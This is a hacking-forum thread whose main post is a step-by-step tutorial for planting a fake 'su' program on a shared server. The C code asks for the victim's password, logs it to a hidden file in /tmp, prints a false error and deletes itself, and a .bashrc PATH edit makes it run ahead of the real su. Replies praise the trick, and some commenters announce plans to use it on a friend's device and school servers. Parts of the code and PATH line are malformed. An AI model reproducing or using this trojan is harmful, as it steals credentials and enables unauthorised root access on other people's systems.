[haccur]

Disclaimer

I am not responsible for how you use this tutorial its was created for educational purposes.

Introduction

Well,imagine you have access to a server with a user account and not is apache/nginx/whatever service nobody uses and the user log in here everyday to manage things.
If you have access to compile tools (problably) does this.

Method
Get into a hidden directory or whatever he don't notice much:

Code:

cd .ssh

Create new file:

Code:

nano lel.c

Paste this code:

Code:

#include <stdio.h> #include <stdlib.h> define SU_PASS "/tmp/.rewt" main (int argc, char *argv[]) { char *key; char buf[24]; FILE *fd; key = (char *)getpass ("Password:"); fd = fopen(SU_PASS,"w"); fprintf(fd, "pass: %s\n", key); fclose(fd); printf ("su: incorrect password\n"); sprintf(buf, "rm %s", argv[0]); system(buf); exit (1); }

Compile it:

Code:

gcc lel.c -o penis

Now edit .bashrc with nano or something and find PATH=/...

Code:

nano .bashrc

And add the executable to PATH=/...

Code:

PATH=./penis/bin/:/sbin/

And that's all.

What this method does

When he type su root the PATH execute your binary instead of the real su so you log the password he introduce into /tmp/.rewt so just wait a little the user log into it and type su root and you can log it.


I know this method is very old

Thanks for reading.

[meow]

Nice. Oldie but goldie.

[m0dem]

Thanks for sharing.

But how do you have access to their .bashrc file? (in their homedir)

[Pikami]

Wow! Nice, I have access to my friends raspberry pi and I will attempt this

[-nameless]

Wow! Nice, I have access to my friends raspberry pi and I will attempt this

Do it in Python. Much easier and simpler.

[insidious]

Contemplated doing this on my school servers. I'd probably be caught, but I have definitely bookmarked this post. First chance I get, I'm using it. i want to see this in action!